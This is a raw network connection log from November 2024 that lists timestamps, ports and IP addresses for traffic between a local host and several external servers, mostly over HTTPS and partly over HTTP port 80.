Nov 25, 2024 07:53:35.070823908 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:35.070884943 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:35.071718931 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:35.071732044 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:35.228019953 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:35.228101015 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:35.228524923 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:35.228674889 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:35.228693962 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:35.228705883 CET	49792	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:35.228712082 CET	443	49792	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:35.232594967 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:35.232625008 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:35.232856035 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:35.233702898 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:35.233722925 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.271001101 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.290561914 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.290580034 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.291495085 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.291507006 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.695369005 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.702080965 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.710660934 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.710676908 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.714869976 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.714940071 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.715070963 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.724314928 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.724322081 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.738586903 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.738600969 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.755655050 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.755665064 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.785893917 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.785904884 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.785936117 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.785942078 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.841747999 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.866169930 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.866192102 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:36.873868942 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:36.873876095 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.015651941 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.015697956 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.015851974 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.077534914 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.130805016 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.130865097 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.135284901 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.135339975 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.135353088 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.137517929 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.177278996 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.294924974 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.295026064 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.299618006 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.404884100 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:37.404949903 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:37.408005953 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:37.408019066 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:37.408420086 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:37.454145908 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.454169035 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.454576015 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.454576969 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.454595089 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.454603910 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.454720974 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.454720974 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.454750061 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.454762936 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.463053942 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.463068008 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.463649035 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.463654041 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.469788074 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.469795942 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.469815016 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.469820976 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.539344072 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:37.551459074 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:37.551531076 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:37.551542044 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:37.552069902 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:37.599348068 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:37.797208071 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.797265053 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:37.797319889 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:37.822417974 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:37.822477102 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:37.822535038 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:37.822824001 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:37.822860956 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:37.822906017 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:37.825412035 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:37.825431108 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:37.826195002 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:37.826206923 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:38.145407915 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:38.145461082 CET	443	49810	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:38.145524979 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:38.146078110 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:38.146125078 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:38.146177053 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:38.146559954 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:38.146574020 CET	443	49810	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:38.146908998 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:38.146924019 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:38.175101042 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.175127029 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.175138950 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.175146103 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.176789999 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.176850080 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.176913023 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.232093096 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:38.232228041 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:38.232287884 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:38.232420921 CET	49799	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:38.232439041 CET	443	49799	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:38.233047009 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.233073950 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.233155012 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.266608953 CET	49814	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.266663074 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.266742945 CET	49814	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.266849995 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.266865015 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.310781956 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.310811043 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.388959885 CET	49814	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.389002085 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.425683975 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:38.425887108 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:38.443391085 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.443444967 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.443595886 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.464080095 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:38.464098930 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:38.780060053 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:38.829633951 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:38.829709053 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:38.829726934 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:38.829901934 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:38.829910994 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:38.899657011 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.159006119 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:39.161555052 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:39.161571980 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:39.162146091 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:39.162151098 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:39.201807022 CET	80	49786	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:39.203131914 CET	49786	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:39.231113911 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.231127977 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.231185913 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:39.235378027 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.235389948 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.235443115 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:39.243721962 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.243733883 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.243778944 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:39.251791954 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.251914024 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.252031088 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:39.260117054 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.381766081 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:39.431747913 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:39.443202019 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.443654060 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.443662882 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.444047928 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.444111109 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.444768906 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.444812059 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.447762012 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.447815895 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.447993994 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.448069096 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.448075056 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.450269938 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.450287104 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.450839996 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.450959921 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.451625109 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.452033043 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.456207037 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.456324100 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.456511974 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.456521034 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.545687914 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.575213909 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:39.575253010 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.603614092 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:39.603792906 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:39.603897095 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:39.604983091 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:39.605015039 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:39.614677906 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:39.614717960 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:39.614960909 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:39.615181923 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:39.615195990 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:39.921706915 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.921796083 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:39.921902895 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.928548098 CET	49805	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:39.928564072 CET	443	49805	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:40.007337093 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:40.009887934 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:40.009999990 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:40.097141981 CET	49804	443	192.168.2.6	13.107.9.158
Nov 25, 2024 07:53:40.097167969 CET	443	49804	13.107.9.158	192.168.2.6
Nov 25, 2024 07:53:40.338819027 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.339437008 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.339453936 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.340444088 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.340518951 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.343255997 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.343338966 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.343461990 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.385629892 CET	443	49810	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.386537075 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.386548996 CET	443	49810	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.390126944 CET	443	49810	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.390208006 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.391344070 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.392174959 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.392328024 CET	443	49810	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.429899931 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.445188999 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.445197105 CET	443	49810	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.475594997 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.475620031 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.475977898 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.475992918 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.476675034 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.476685047 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.490637064 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.491013050 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.491041899 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.491832018 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.491837978 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.508982897 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.511035919 CET	49814	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.511054039 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.511611938 CET	49814	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.511616945 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.553111076 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.575869083 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.646114111 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.763336897 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.763405085 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.785393953 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.785404921 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.786287069 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.786292076 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.837099075 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.837193012 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:40.837254047 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:40.863817930 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.863926888 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.864038944 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.934407949 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.934477091 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.937417030 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:40.955549002 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.955612898 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:40.955684900 CET	49814	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.120522022 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.120626926 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.120740891 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.154551029 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.154583931 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.154598951 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.154606104 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.155497074 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.155518055 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.155534029 CET	49815	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.155539036 CET	443	49815	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.159796953 CET	49823	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:41.159831047 CET	443	49823	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:41.159905910 CET	49823	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:41.160203934 CET	49824	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:41.160250902 CET	443	49824	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:41.160450935 CET	49824	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:41.163677931 CET	49823	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:41.163705111 CET	443	49823	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:41.164216042 CET	49824	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:41.164230108 CET	443	49824	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:41.172761917 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.172779083 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.172790051 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.172796011 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.173970938 CET	49814	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.173978090 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.173989058 CET	49814	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.173991919 CET	443	49814	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.175323009 CET	49811	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:41.175353050 CET	443	49811	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:41.178402901 CET	49786	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:41.178745031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:41.189050913 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.189095020 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.189179897 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.191019058 CET	49827	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.191046953 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.191097021 CET	49827	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.193147898 CET	49828	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.193171978 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.193219900 CET	49828	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.194814920 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.194849968 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.195086956 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.196860075 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.196873903 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.197016001 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.197036028 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.216597080 CET	49827	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.216624022 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.216897011 CET	49828	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.216913939 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.299596071 CET	80	49786	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:41.299619913 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:41.299702883 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:41.300836086 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:41.301043034 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:41.393454075 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.404516935 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.404548883 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.405083895 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.405090094 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.420270920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:41.420610905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:41.420629978 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:41.420676947 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:41.521843910 CET	49830	443	192.168.2.6	2.16.158.59
Nov 25, 2024 07:53:41.521862030 CET	443	49830	2.16.158.59	192.168.2.6
Nov 25, 2024 07:53:41.522030115 CET	49830	443	192.168.2.6	2.16.158.59
